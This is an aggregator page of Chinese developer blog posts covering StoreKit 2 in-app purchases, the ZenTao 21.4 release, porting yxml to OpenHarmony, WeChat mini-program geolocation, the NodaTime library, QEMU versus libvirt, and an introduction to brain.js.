/// 发起支付
    /// - Parameter product: Product对象
    public func purchase(product: Product, uid: String) async throws -> Transaction? {
        guard purchaseState != .inProgress else {
            throw PurchaseException.purchaseInProgressException
        }
        
        purchaseState = .inProgress
        
        //App account token
        //用于将用户订单ID 绑定到交易(Transcation)中,即可建立苹果的交易订单数据与用户信息的映射关系,方便数据整合与追溯
        let uuid = Product.PurchaseOption.appAccountToken(UUID.init(uuidString: uid)!)
        //发起支付流程
        guard let res = try? await product.purchase(options: [uuid]) else {
            purchaseState = .failed
            throw PurchaseException.transactionVerificationFailed
        }
        
        var validateTransaction: Transaction? = nil
        
        switch res {
        case .success(let verificationResult):
            //购买状态:成功
            
            print("用户购买成功")
            purchaseState = .complete

          //可以将交易ID回传给服务端,服务端通过调用Appstore API来验证交易的可信,然后下发对应权益
          let checkResult = checkTransactionVerificationResult(verificationResult)
            if !checkResult.verified {
                purchaseState = .failedVerification
                throw PurchaseException.transactionVerificationFailed
            }
            
            validateTransaction = checkResult.transaction
            
            //结束交易
            await validateTransaction!.finish()
            
        case .userCancelled:
            //购买状态:用户取消
            print("用户取消购买")
            purchaseState = .cancelled
            throw PurchaseException.purchaseUserCancelled
            
        case .pending:
            //购买状态:进行中
            print("用户购买中")
            purchaseState = .pending
            
        default:
            //购买状态:未知
            print("用户购买状态:未知")
            purchaseState = .unknown
        }
        
        return validateTransaction
    }

交易信息校验

     /// 校验
    /// - Parameter result: 支付返回结果
    /// - Returns: 是否验证成功
    private func checkTransactionVerificationResult(_ result: VerificationResult<Transaction>) -> (transaction: Transaction, verified: Bool) {
        //Check whether the JWS parses StoreKit verification.
        switch result {
        case .unverified(let transaction, _):
            //StoreKit parses the JWS, but it fails verification.
            return (transaction: transaction, verified: false)
        case .verified(let transaction):
            //The reult is verified. Return the unwrapped value.
            return (transaction: transaction, verified: true)
        }
    }

交易状态监听

我们测试发现,沙盒环境会将已经完成的订单也会通过该方法通知过来,所以服务端要对已经验证过,下发权益的交易做处理。

/// 支付监听事件
    public func listenForTransaction(completion:@escaping (Transaction) -> Void) -> Void {
         Task.detached {
            for await verificationResult in Transaction.updates {
                let checkResult = self.checkTransactionVerificationResult(verificationResult)
                
                if checkResult.verified {
                    let validatedTransaction = checkResult.transaction
                    await validatedTransaction.finish()
                    //有未完成的订单,需要重新发送给服务端验证,是否下发权益
                    completion(validatedTransaction)
                } else {
                    print("Transaction failed verification.")
                }
            }
        }
    }

恢复购买

/// 恢复购买
    public func reStorePurchase(){
        Task {
            try? await AppStore.sync()
        }
    }

发起退款

StoreKit 2 也提供了退款方法,使得退款流程更加简洁。沙盒测试退款,也更加容易。

/// 发起退款
    /// - Parameters:
    ///   - transactionId: transaction.originalID
    ///   - scene: Window scene
    public func refunRequest(for transactionId: UInt64, scene: UIWindowScene!) async {
        do {
            let res = try await Transaction.beginRefundRequest(for: transactionId, in: scene)
            switch res {
            case .userCancelled:
                // Customer cancelled refund request.
                print("用户取消退款。")
            case .success:
                print("退款提交成功。")
                // Refund request was successfully submitted.
            @unknown default:
                print("退款返回错误:未知")
            }
        }
        catch StoreKit.Transaction.RefundRequestError.duplicateRequest {
            print("退款请求错误:重复请求")
        }
        catch StoreKit.Transaction.RefundRequestError.failed {
            print("退款请求错误:失败")
        }
        catch {
            print("退款请求错误:其他")
        }
    }

StoreKit 1 兼容

因为StoreKit2 只支持iOS 15以上系统设备,那对于低于iOS 15的设备还需要使用StoreKit1,并且StoreKit2 不支持 AppStore 活动与AppStore 订阅SKU的推广,对于有这个需求的也是需要使用StoreKit1来实现

- (BOOL)paymentQueue:(SKPaymentQueue *)queue shouldAddStorePayment:(SKPayment *)payment forProduct:(SKProduct *)product {
    // product里存放的有我们配置在App Store的产品ID,以及价格等等
    return NO;
}

StoreKit1 中,如果给SKPayment 设置了applicationUsername 并且这个值是UUID类型的话,服务端在调用苹果API的时候,也是可以拿到这个值的。这块可以在官网看到具体介绍。所以我们可以和StoreKit2 一样,给applicationUsername 增加UUID类型的订单号绑定。这样不管是StoreKit1 还是StoreKit2,都不会有掉单找不到订单的风险。

SKMutablePayment *payment = [SKMutablePayment paymentWithProduct:product];
if ([payment respondsToSelector:@selector(setApplicationUsername:)])
 {
   payment.applicationUsername = uuid;
 }
[[SKPaymentQueue defaultQueue] addPayment:payment];

服务端

服务端不再采用原来的上传沙盒票据校验的方式,统一使用App Store Server API JWS方式来验证。这块具体查看官方文档就行。对于自动续订,及退款,使用 App Store Server Notifications 来实现,续订权益下发,及退款的权益回收。

by 假装自己很用心 at January 20, 2025 06:19 AM

oschina news project

禅道 21.4 发布!文档支持插入禅道列表数据,集中优化测试模块的多个功能和用户体验

大家好,禅道21.4发布啦!本次发布文档支持插入禅道列表数据、优化文档操作按钮位置,用户可以将禅道系统中的需求、任务、Bug等相关数据直接嵌入到文档中,实现数据的展示和分享。集中优化了测试模块的多个功能和用户体验,用例支持批量维护步骤和预期,用例前置条件支持Xmind导入导出,用例标题、前置条件、附件增加版本记录,执行测试用例列表增加筛选条件和分组视图等,大幅提升了用户的操作便捷性和整体体验。此外本次客户端修复了多项已知问题,完善若干细节,欢迎大家下载升级。

新版本将为用户带来更好的使用体验和更高的工作效率,感谢大家一直以来的支持和反馈,我们将继续努力提供更优秀的产品和服务!

新增功能点

文档:

  • 支持引用禅道列表数据
  • 文档操作按钮位置的优化
  • 文档依赖和推荐权限的优化
  • 产品空间和项目空间默认显示规则的优化
  • 左侧目录导航的优化

任务管理:

  • 任务指派时可以快速维护团队成员
  • 优化需求变更后任务确认变更的规则
  • 多人任务的需求变更后每个人都需要确认

测试管理:

  • 批量创建用例页面支持维护步骤和预期
  • 批量编辑用例时可以修改步骤和预期信息
  • 批量导入用例页面中步骤和预期组件与批量创建页面保持一致
  • 用例的前置条件修改后更新用例的版本
  • 用例的附件修改后更新用例的版本
  • 优化测试用例标题的版本功能
  • 测试用例支持导出Xmind文件
  • 用例导出Xmind时支持导出前置条件
  • 用例导入Xmind时支持导入前置条件
  • 用例导出FreeMind时支持导出前置条件
  • 用例详情的历史记录中可以展示每次执行的结果
  • 用例详情页支持Cookie记录用例步骤查看模式
  • 用例详情页面中相关Bug增加状态信息
  • 用例库用例列表中更新批量设置所属模块组件
  • 测试用例列表中更新批量设置模块组件
  • 项目用例列表中零用例需求筛选条件只展示项目关联的需求
  • 执行用例列表中零用例需求筛选条件只展示执行关联的需求
  • 执行测试用例列表中增加分组视图
  • 执行测试用例列表增加筛选条件
  • 测试单的用例列表中指派给字段增加指派给操作
  • 测试单列表的操作中增加开始、关闭、激活操作
  • 测试单中执行用例后自动更新测试单状态
  • Bug转化研发需求时可以带入Bug中的附件
  • 项目Bug列表的搜索条件中将所属项目调整为所属执行
  • 提Bug页面增加来源用例的选择

禅道本次发布数据如下:

本期优化的全部需求和Bug:请点击查看

▼文档编辑器中输入“/”,下拉菜单中可以选择插入某一对象的禅道列表数据。

▼选择需要插入的禅道对象后,可以在表单中配置相应要插入的对象数据。

▼插入后,可以在右上角更改插入的数据或者删除。

▼任务指派时可以快速维护团队成员。

▼优化需求变更后任务确认变更的规则。

●单人任务,任务有指派人,只有指派人才能确认变更。

●单人任务,任务没有指派人,有权限的人能确认变更。

●多人并行,只有团队成员才能确认变更。

●多人串行,只有团队成员才能确认变更。

▼多人任务的需求变更后每个人都需要确认。

▼批量创建用例页面支持维护步骤和预期。

▼批量编辑用例时可以修改步骤和预期信息。

▼批量导入用例页面中步骤和预期组件与批量创建页面保持一致。

▼用例的前置条件修改后更新用例的版本。

▼用例的附件修改后更新用例的版本。

▼优化测试用例标题的版本功能。

▼测试用例支持导出Xmind文件。

 

▼用例导出Xmind时支持导出前置条件。

▼用例导入Xmind时支持导入前置条件。

▼用例导出FreeMind时支持导出前置条件。

▼用例详情的历史记录中可以展示每次执行的结果。

 

▼用例详情页面中相关Bug增加状态信息。

▼用例库用例列表中更新批量设置所属模块组件。

▼测试用例列表中更新批量设置模块组件。

▼项目用例列表中零用例需求筛选条件只展示项目关联的需求。

▼执行用例列表中零用例需求筛选条件只展示执行关联的需求。

▼执行测试用例列表中增加分组视图。

▼执行测试用例列表增加筛选条件。

▼测试单的用例列表中指派给字段增加指派给操作。

▼测试单列表的操作中增加开始、关闭、激活操作。

▼测试单中执行用例后自动更新测试单状态。

▼Bug转化研发需求时可以带入Bug中的附件。

▼提Bug页面增加来源用例的选择。

 

下载链接

Windows 一键安装包 64位

Linux 一键安装包

amd64位 
arm64位
注:Linux 一键安装包必须直接解压到 /opt 目录下。
源码包下载(tar.xz): 可以通过tar命令或者解压工具解压 php7.0    php7.1    php7.2_7.4    php8.1
源码包下载(zip) php7.0    php7.1    php7.2_7.4    php8.1
DEB包下载:可以通过dpkg包管理器在Ubuntu和Debian系统下安装 php7.0    php7.1    php7.2_7.4    php8.1
RPM包下载:可以通过rpm包管理器在Centos系统下安装 php7.0    php7.1    php7.2_7.4    php8.1
最新版禅道客户端下载链接 Windows10+ 安装包    压缩包
Linux 安装包    压缩包 (.tar.gz)    压缩包 (.zip)    arm64位
macOS 安装包 (Intel)    安装包 (Apple Silicon)    压缩包
最新版禅道客户端服务器下载链接 Windows    Linux    macOS
禅道Gogs安装包下载链接 macOS amd64    Linux amd64    Windows amd64    macOS arm64    Linux arm64

Docker镜像: 点击这里

帮助手册

安装文档:https://www.zentao.net/book/zentaopms/455.html

升级文档:https://www.zentao.net/book/zentaopms/460.html

 

持续优化,定期更新,禅道一直在路上。

by 来源: 投稿 at January 20, 2025 06:19 AM

juejin backend

OpenHarmony(鸿蒙南向开发)——轻量和小型系统三方库移植指南(二)

Makefile方式组织编译的库移植

以yxml库为例,其移植过程如下文所示。

源码获取

从仓库获取yxml源码,其目录结构如下表:

表1 源码目录结构

名称描述
yxml/bench/benchmark相关代码
yxml/test/测试输入输出文件,及测试脚本
yxml/Makefile编译组织文件
yxml/.gitattributes-
yxml/.gitignore-
yxml/COPYING-
yxml/yxml.c-
yxml/yxml.c.in-
yxml/yxml-gen.pl-
yxml/yxml.h-
yxml/yxml.md-
yxml/yxml-states-

设置交叉编译

设置Makefile的交叉编译工具链,修改并编译该库,生成OpenHarmony平台的可执行文件,步骤如下:

  1. 设置工具链 将下列clang工具链配置替换掉yxml库根目录的Makefile(即表1中的文件)中的原有配置。

clang工具链配置:

    #设置交叉编译工具链,确保工具链所在路径已经添加到了PATH环境变量中
    CC:=clang
    AR:=llvm-ar
    #cflags中必须要添加--target及--sysroot选项
    CFLAGS:=-Wall -Wextra -Wno-unused-parameter -O2 -g --target=arm-liteos -march=armv7-a -mfloat-abi=softfp -mcpu=cortex-a7 -mfpu=neon-vfpv4 --sysroot=$(OHOS_SYSROOT_PATH)

原有配置:

    CC:=gcc
    AR:=ar
    CFLAGS:=-Wall -Wextra -Wno-unused-parameter -O2 -g
  1. 执行编译 linux命令行中进入yxml的源文件目录(即图1所示目录),执行下列命令:
    make test OHOS_SYSROOT_PATH=...

其中OHOS_SYSROOT_PATH需用绝对路径指定出sysroot所在目录,以OpenHarmony为例即源码根目录下out/hispark_xxx/ipcamera_hispark_xxx/sysroot目录的绝对路径。上述目录会在全量编译后生成,因此移植前先完成一次全量编译。

  1. 查看结果 步骤2操作完成后,yxml下会生成out目录,里面有静态库文件和测试用例:

表2 yxml编译生成目录

名称描述
OpenHarmony/third_party/yxml/yxml/out/lib/编译生成的静态库的存放目录
OpenHarmony/third_party/yxml/yxml/out/test/编译生成的测试用例及其输入输出等文件的存放目录

测试

yxml库测试步骤与double-conversion库基本一致,可参考CMake方式组织编译的库移植的测试过程,以下内容介绍yxml库测试用例的使用方法:

表3 生成的test目录结构示意

名称描述
OpenHarmony/third_party/yxml/yxml/out/test/test.sh自动化测试脚本,由于OpenHarmony不支持脚本运行,因此无法使用,可参考其内容手动测试
OpenHarmony/third_party/yxml/yxml/out/test/test用于测试的可执行文件
OpenHarmony/third_party/yxml/yxml/out/test/*.xml测试输入文件
OpenHarmony/third_party/yxml/yxml/out/test/*.out期望的输出文件

test.sh内容如下所示:

#!/bin/sh
for i in *.xml; do
  b=`basename $i .xml`
  o=${b}.out
  t=${b}.test
  ./test <$i >$t
  if [ -n "`diff -q $o $t`" ]; then
    echo "Test failed for $i:"
    diff -u $o $t
    exit 1
  fi
done
echo "All tests completed successfully."

由于OpenHarmony的shell中暂不支持输入输出重定向(<和>),所以测试时需要将输入*.xml文件内容直接复制进shell后回车,输出内容会直接展示在shell窗口。过程如下:

下列操作假定已按照2.4节的步骤搭建OpenHarmony,挂载并进入nfs目录:

  1. 执行下列命令

    ./test
    
    
  2. 复制*.xml内容到shell 以表3test目录下pi01.xml为例,内容如下,输入到shell并回车:

    <?SomePI abc?><a/>
<textarea id="copy1722498774660" style="color: inherit; font: inherit; position: absolute; top: -9999px; left: -9999px; z-index: -9999;"></textarea>

3. 比较shell中输出的内容与表3test目录中对应的*.out文件是否一致 输出结果如下:

    pistart SomePI
    picontent abc
    piend
    elemstart a
    elemend
    ok

经比较与表3test目录下pi01.out内容一致,测试通过。

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:
1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

将该库编译添加到OpenHarmony工程中

yxml库添加的过程除了适配文件build.gn和config.gni有些许变化外,其他和double-conversion库完全一致,参考CMake方式组织编译的库移植的配置过程。要修改的适配文件及添加后的目录结构如下:

  • yxml库新增的BUILD.gn实现如下:
import("config.gni")
group("yxml") {
    if (ohos_build_thirdparty_migrated_from_fuchisa == true) {
        deps = [":make"]
    }
}
if (ohos_build_thirdparty_migrated_from_fuchisa == true) {
    action("make") {
        script = "//third_party/yxml/build_thirdparty.py"
        outputs = ["$target_out_dir/log_yxml.txt"]
        exec_path = rebase_path(rebase_path("./yxml", root_build_dir))
        command = "make clean && $MAKE_COMMAND"
        args = [
            "--path=$exec_path",
            "--command=${command}"
        ]
    }
}
  • yxml库新增的config.gni配置如下:
TEST_ENABLE = "YES"

if (TEST_ENABLE == "YES") {
    MAKE_COMMAND = "make test OHOS_SYSROOT_PATH=${root_out_dir}sysroot/"
} else {
    MAKE_COMMAND = "make OHOS_SYSROOT_PATH=${root_out_dir}sysroot/"
}

  • 添加完成后目录结构示意:

    表4 添加到工程后的目录结构

名称描述
OpenHarmony/third_party/yxml/BUILD.gn将三方库加入工程的gn适配文件
OpenHarmony/third_party/yxml/build_thirdparty.pyGN调用shell命令脚本文件,由上面GN文件将相关命令传入,实现GN转Makefile
OpenHarmony/third_party/yxml/config.gni三方库编译配置文件,可修改该文件来配置用例是否参与构建等
OpenHarmony/third_party/yxml/yxml/要移植的三方库目录

by 塞尔维亚大汉 at January 20, 2025 06:08 AM

juejin frontend

微信小程序地图,定位,仿多多自提点

一、获取用户当前定位 wx.getLocation wx.openLocation

相关公告和官网 developers.weixin.qq.com/miniprogram… developers.weixin.qq.com/community/d…

uni.getLocation({
type: 'gcj02', //返回可以用于uni.openLocation的经纬度
success: function(res) {
const latitude = res.latitude;
const longitude = res.longitude;
uni.openLocation({
latitude: latitude,
longitude: longitude,
success: function() {
console.log('success');
}
});
},
fail:function(error){
console.log(error,"错误");
}
});

把微信的api框放上去一写 报错了

getLocation:fail the api need to be declared in the requiredPrivateInfos fie

经过查询资料发现得在app.json中,即uniapp的manifest中配置一些东西

"mp-weixin": {
"appid": "",
"setting": {
"urlCheck": false
},
"usingComponents": true,
"permission": {
"scope.userLocation": {
"desc": "你的位置信息将用于小程序位置接口的效果展示"
},
"scope.userFuzzyLocation": {
"desc": "你的位置信息将用于小程序位置接口的效果展示"
}
},
"requiredPrivateInfos": ["getLocation"]
},

然后就好了,ding~~ 注意重新编译才生效噢

1737123428602.png

手贱点了个拒绝,又报错了,不过没关系,清除开发者工具的缓存即可解决下面的问题

getLocation:fail auth deny

点击确定,到了这个页面,定位一点都不准确,离我现在的地方将近二十公里呢

1737123854832.png

但此时,一打开真机调试,手机上超级准,准到楼栋了,ok,手机上准就没事。

ding~~~ 注意pc端真机预览是打不开这个授权弹窗的,pc端不行就搞个提示吧,

ok,此时用户当前定位我们拿到了,我想做个类似多多买菜选择自提点的功能, 拆解一下功能点: 1.将用户的定位和我们的定位匹配,比如匹配个两公里范围内的自提点。

疑问了,没有自提点咋办,多多是这么干的 e12f80101d5881e37c352cf9c9f7764.jpg

  1. 2公里范围内自提点在地图上聚合显示,或许这里两公里范围还可以更大一点,多显示一点

  2. 列表显示用户附近两公里的所有自提点,并且计算出每个自提点距离用户的多远,--这个距离貌似多多算的也是直线距离呢

二、将用户的定位和我们的定位匹配

这个功能应该是要放在后端做的,流程大概是这样的,前端调用接口,传入用户当前的经纬度,然后后端根据某种公式计算,匹配出直线距离为两公里范围内的数据列表,这个上面还得要加个省份的匹配吧,不然整个数据库的自提点肯定太多了。然后呢,后端把每个计算的直线距离,自提点地址,地址点经纬度,等返回给前端。

这个公式运用到了数学中的平面三角学,当然我数学不好,我选择文心一言

function calculateDistance(lat1, lon1, lat2, lon2) {
  const earthRadius = 6371; // 地球半径(单位:千米)
 
  const dLat = toRadians(lat2 - lat1);
  const dLon = toRadians(lon2 - lon1);
 
  const a = Math.pow(Math.sin(dLat / 2), 2) +
            Math.cos(toRadians(lat1)) * Math.cos(toRadians(lat2)) *
            Math.pow(Math.sin(dLon / 2), 2);
  const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
  const distance = earthRadius * c;
 
  return distance;
}
 
function toRadians(degrees) {
  return degrees * (Math.PI / 180);
}
 
const distance = calculateDistance(39.9042, 116.4074, 31.2304, 121.4737);
console.log(distance);

网页打开高德地图搜这是哪,点击更多,分享,地址前面就有经纬度了 通过对比还是比较准确的 单位是km

ok,这个功能搞定了

三、2公里范围内自提点在地图上聚合显示

先捏造一点自提点数据吧,

const selfPickUpPoint = ref([{
name: "繁荣苑自提点",
address: "上海市繁荣苑",
province: "上海市",
city: "直辖市",
area: "松江区",
distance: "",
lat: "31.120165",
lot: "121.329818"
},
{
name: "金色家园自提点",
address: "上海市繁荣苑",
province: "上海市",
city: "直辖市",
area: "松江区",
distance: "",
lat: "31.238028",
lot: "121.467941"
}
])

接下来前端easy的显示一下就ok了

四、地图点聚合显示

这个以前搞过的 简单,下面贴一下代码

五、最后声明

就不做那个输入地址查地址和设定地址的功能了,感觉勉强够用的,再加就要加钱了

by 小璇玑学前端 at January 20, 2025 06:02 AM

juejin backend

.NET 开源高级日期时间库 NodaTime,提升开发效率

前言

在.NET开发中,处理日期和时间是常见的需求,但标准的DateTime和DateTimeOffset类型在功能和灵活性上存在局限性。

NodaTime作为一个开源的高级日期时间库,提供了更强大、灵活且精确的日期时间处理能力。

本文将介绍NodaTime的核心功能、使用方法以及它如何帮助大家更高效地处理复杂的日期时间问题。

1、安装 NodaTime

首先,通过 NuGet 安装 NodaTime 包:

Install-Package NodaTime

或者通过 VS NuGetc程序包安装,具体如下图所示:

2、基本概念

NodaTime 提供了一系列丰富的日期和时间类型,适用于不同场景的需求:

Instant:表示自 Unix 纪元(1970-01-01T00:00:00Z)以来的纳秒数,用于描述全球唯一的时间点。

LocalDate:仅包含年、月、日的本地日期,不涉及具体时间和时区。

LocalTime:仅包含小时、分钟、秒等的时间信息,不涉及具体日期和时区。

LocalDateTime:结合了 LocalDate 和 LocalTime,提供完整的日期和时间信息,但不关联任何时区。

ZonedDateTime:包含日期、时间和时区信息,适用于需要考虑时区差异的应用场景。

Duration:表示两个时刻之间的时间间隔,精度达到纳秒级别,适合计算持续时间。

Period:定义一个时间段,可包括年、月、日、小时、分钟、秒等,主要用于日期和时间的增量或减量运算。

通过这些类型NodaTime 提供了处理日期和时间的强大工具集,能够满足各种复杂需求。

3、使用教程

3.1、获取当前时间

使用 SystemClock.Instance.GetCurrentInstant() 方法可以从 NodaTime 库中获取当前的 UTC 时间点(Instant),它表示自 Unix 纪元以来的纳秒数。

using NodaTime;

// 获取当前 UTC 时间
Instant now = SystemClock.Instance.GetCurrentInstant();
Console.WriteLine($"Current UTC time: {now}");

Instant 类型表示一个全局唯一的时间点,适用于需要精确记录事件发生时刻的应用场景。

3.2、时区转换

Instant 转换为带有时区信息的 ZonedDateTime,可以方便地查看不同地区的本地时间。

// 将 Instant 转换为 UTC 时间
ZonedDateTime nowInUtc = now.InUtc();
Console.WriteLine($"Current UTC time: {nowInUtc}");

// 获取伦敦时区并进行转换
var london = DateTimeZoneProviders.Tzdb["Europe/London"];
ZonedDateTime nowInLondon = now.InZone(london);
Console.WriteLine($"Current London time: {nowInLondon}");

通过指定不同的时区(例如伦敦),我们可以轻松地将同一时间点转换为世界各地的不同表示形式。这对于跨国应用尤为重要。

3.3、创建本地日期和时间

创建不包含时区信息的本地日期和时间,适用于不需要考虑时区差异的场景。

// 创建本地日期和时间
LocalDate localDate = new LocalDate(2024, 7, 26);
LocalTime localTime = new LocalTime(10, 26, 9);
LocalDateTime localDateTime = localDate.At(localTime);
Console.WriteLine($"Local date and time: {localDateTime}");

LocalDateLocalTime 分别用于表示不含时区信息的日期和时间。At 方法将两者组合成一个完整的 LocalDateTime 对象。

3.4、时区转换(带时区的时间)

从本地时间创建带有时区信息的时间点,并将其转换到其他时区。

// 创建带时区的时间
LocalDateTime localDateTime = LocalDateTime.FromDateTime(new DateTime(2024, 7, 26, 10, 26, 9));
DateTimeZone systemTimeZone = DateTimeZoneProviders.Tzdb.GetSystemDefault();
DateTimeZone newYorkTimeZone = DateTimeZoneProviders.Tzdb["America/New_York"];
ZonedDateTime zonedDateTime = localDateTime.InZoneLeniently(newYorkTimeZone);
Console.WriteLine($"New York time: {zonedDateTime}");

InZoneLeniently 方法我们以自己的方式将 LocalDateTime 转换为特定时区的 ZonedDateTime,即使在某些情况下会导致模糊或无效的时间(如夏令时切换期间)。

如果需要严格模式,可以使用 InZoneStrictly

3.5、时间间隔计算

计算两个时间点之间的时间差,或者基于现有时间点增加/减少一段时间。

// 计算时间间隔
Instant now = SystemClock.Instance.GetCurrentInstant();
Duration duration = Duration.FromMinutes(3);
Instant then = now + duration;
Console.WriteLine($"Current time: {now}");
Console.WriteLine($"Time after 3 minutes: {then}");

Duration 表示固定长度的时间间隔,常用于计算两个时间点之间的差异或执行加减运算。

对于涉及日历单位(如年、月)的操作,则应使用 Period 类型。

3.6、格式化输出

根据需要格式化日期和时间字符串,以便于展示或进一步处理。

// 格式化日期输出
LocalDate localDate = new LocalDate(2024, 7, 26);
string formattedString = localDate.ToString("yyyy-MM-dd");
Console.WriteLine($"Formatted date: {formattedString}");

使用标准的格式化字符串,可以灵活地控制输出的日期和时间格式。

在用户界面展示、日志记录或数据交换等场合非常有用。

项目地址

GitHub:github.com/nodatime/no…

官方文档:nodatime.org/3.2.x/userg…

总结

以上仅展示了日期时间库的部分功能。更多实用特性和详细信息,请大家访问项目地址。

希望通过本文能为时间处理开发方面提供有价值的参考。欢迎在评论区留言交流,分享您的宝贵经验和建议。

最后

如果你觉得这篇文章对你有帮助,不妨点个赞支持一下!你的支持是我继续分享知识的动力。如果有任何疑问或需要进一步的帮助,欢迎随时留言。

也可以加入微信公众号 [DotNet技术匠] 社区,与其他热爱技术的同行一起交流心得,共同成长!

优秀是一种习惯,欢迎大家留言学习!

by 小码编匠 at January 20, 2025 05:57 AM

基于 qemu 和 libvirt 管理虚拟机的区别

QEMUlibvirt 是两种用于虚拟化管理的工具,但它们在功能和使用方式上有很大的不同。以下是两者之间的一些关键区别及其优劣对比。

1. 基本概念

  • QEMU

    • QEMU 是一个开源的虚拟机监控器,它可以直接模拟硬件并运行虚拟机。它支持多种架构(如 x86、ARM、PowerPC 等),可以与其他虚拟化技术结合使用(如 KVM)。
    • QEMU 可以直接启动虚拟机,通过命令行或者脚本来进行配置和管理。
  • libvirt

    • libvirt 是一个更高层次的 API 和工具集,旨在管理和控制虚拟化技术,包括 QEMU/KVM、Xen、LXC、VMware 等。
    • 它提供了一致的接口,允许用户通过 XML 配置文件管理虚拟机,而无需直接使用底层命令。

2. 优缺点对比

特性QEMUlibvirt
灵活性- 高度灵活,可以直接定制虚拟机启动参数。
- 支持复杂的硬件模拟。
- 更抽象,自动处理底层细节,使用简单。
- 提供统一的管理接口,可支持多种虚拟化技术。
易用性- 需要掌握 QEMU 的命令行参数,可能较复杂。- 提供用户友好的命令行工具 (virsh) 和图形界面(如 virt-manager)。
管理工具- 直接通过命令行操作,较低级别。- 提供完整的管理功能,如快照、迁移、监控等。
性能- 对于简单的虚拟机部署,性能开销较少。- 在大多数情况下开销不大,但多了一层抽象,性能略有影响。
功能- 支持直接使用 API 进行复杂的虚拟化任务。- 提供丰富的功能集,如网络管理、存储管理等。
社区与支持- 有广泛的社区支持。- 有更广大的使用基础且社区支持也很强大。
跨平台支持- 支持多种操作系统和架构。- 也支持多种平台,但主要集中在 Linux 系统。

3. 具体场景适用性

  • QEMU

    • 如果你需要直接控制虚拟机的所有启动参数,或者需要复杂的硬件虚拟化特性,QEMU 是一个不错的选择。
    • 对于开发、测试虚拟化解决方案的用户,QEMU 提供了灵活的环境。
  • libvirt

    • 如果你需要更简单的虚拟机管理,特别是在生产环境中,推荐使用 libvirt,因为它能够简化管理任务,并提供多种工具进行监控和管理。
    • 对于需要进行集成和扩展的团队,使用 libvirt 也更为方便,因为它有丰富的 API。

总结

  • QEMU 适合需要灵活性和高定制支持的场景,而 libvirt 则为用户提供了一致且友好的管理方式,适合日常的虚拟机管理和操作。

  • 许多情况下,libvirt 实际上是基于 QEMU 来操作和管理虚拟机,因此可以理解为两者可以结合使用,针对不同的需求灵活选择。

在启动虚拟机的过程中,基于 libvirt 提供的 XML 配置文件和直接基于 QEMU 的命令行工具启动虚拟机的行为有一些重要的区别。

1. 基于 libvirt 启动虚拟机

  • 异步启动
    • 当使用 libvirt 启动虚拟机(例如通过 virsh start 命令)时,启动过程是异步的。这意味着命令会立即返回,用户可以在此期间执行其他操作,而不必等到虚拟机完全启动完成。
    • 虽然虚拟机的状态可以通过 virsh 工具或 API 查询,但启动本身并不会阻塞命令行。

2. 基于 QEMU 启动虚拟机

  • 同步启动
    • 当使用 QEMU 直接启动虚拟机时,通常是通过命令行使用 qemu-system-x86_64(或其他架构的命令)来执行的。该命令会启动虚拟机,且命令行界面将在该进程运行时被占用,直到虚拟机被关闭或停止。
    • 因此,QEMU 启动的过程是 同步的,命令行会等待直到虚拟机进程终止。

3. 总结

  • libvirt 启动虚拟机:异步。 即命令返回后用户可以继续进行其他操作。
  • QEMU 启动虚拟机:同步。 该命令会占用控制台,直到虚拟机结束运行。

by bobz965 at January 20, 2025 05:54 AM

juejin frontend

从零开始:使用 Brain.js 创建你的第一个神经网络(一)

欢迎来到 brain.js 的学习之旅!

无论你是零基础的新手,还是已经有一定编程经验的开发者,这个系列都将为你提供一个系统、全面的学习路径。我们将从最基础的概念开始,逐步深入到实际应用和高级技巧,最终让你能够自信地构建和训练自己的神经网络模型。

以下是我们的学习路线图:

brainJS-roadmap

这一系列文章从入门到进阶,涵盖了 brain.js 的核心功能、技术细节以及实际应用场景。不仅适合初学者学习和实践,也为有一定基础的开发者提供了更多扩展和深入的思考方向。接下来,我们进入系列的第一部分:基础篇。

Brain.js-01

引言

神经网络是机器学习中的重要组成部分,而 brain.js 是一个易于使用的 JavaScript 库,可以帮助开发者快速搭建和训练神经网络模型。无论你是初学者还是已有一定经验的开发者,在本篇文章中,我们将专注于快速搭建一个简单的二分类模型。通过实际代码示例,你将掌握 brain.js 的基本用法并对神经网络的核心概念有初步理解。

一、什么是 brain.js

brain.js 是一个支持浏览器和 Node.js 环境的神经网络库,它的目标是简化神经网络的构建和训练过程。通过它,开发者无需深入理解复杂的数学公式和理论,只需编写少量代码即可完成神经网络的实现。

主要特点

  1. 简单易用:提供直观的 API,适合快速开发和学习。
  2. 跨平台支持:可以在浏览器和 Node.js 环境下运行。
  3. 支持多种任务:包括分类、回归、时间序列等多种任务类型。
  4. GPU 加速:支持 GPU 计算,显著提升训练速度。
  5. 扩展性强:可以与其他库或框架结合使用。

应用场景

  • 文本分类(如垃圾邮件检测)。
  • 时间序列预测(如股票价格预测)。
  • 图像处理(如手写数字识别)。
  • 推荐系统(如电影推荐)。

二、Brain.js 的发展历史和由来

brain.js 最早由 Heather Arthur 开发,并作为一个轻量级的 JavaScript 神经网络库发布。其核心目标是让开发者能够快速上手并体验神经网络的魅力,而无需深厚的数学基础或复杂的编程经验。

重要发展节点

  • 初版发布:在 GitHub 上推出后,因其易用性迅速受到关注。
  • GPU 加速支持:引入 gpu.js,显著提升模型训练和推理速度。
  • 现代化迁移:重构代码以支持 ES6+ 语法和模块化,适应现代 JavaScript 生态。

设计理念

brain.js 的设计理念是让每个开发者都能轻松地探索神经网络的可能性。它通过直观的 API 和简单的实现方式,让初学者无需复杂的理论知识也能快速构建模型。

当前现状

如今,brain.js 已支持多种任务类型(如分类、回归和时间序列预测),仍然是学习和实验神经网络的优秀工具。

三、什么是二分类模型?

二分类问题是机器学习中最常见的任务之一,指的是将数据点分类为两种类别中的一种。例如:

  • 判断一封邮件是垃圾邮件还是正常邮件。
  • 预测一个患者是否有某种疾病。

为了更好地理解二分类问题,我们将以经典的 XOR 问题 为例: 对于输入 [0, 0][0, 1][1, 0][1, 1],输出的目标分别是 0110。这是一个非线性分类问题,适合作为简单神经网络的入门案例。

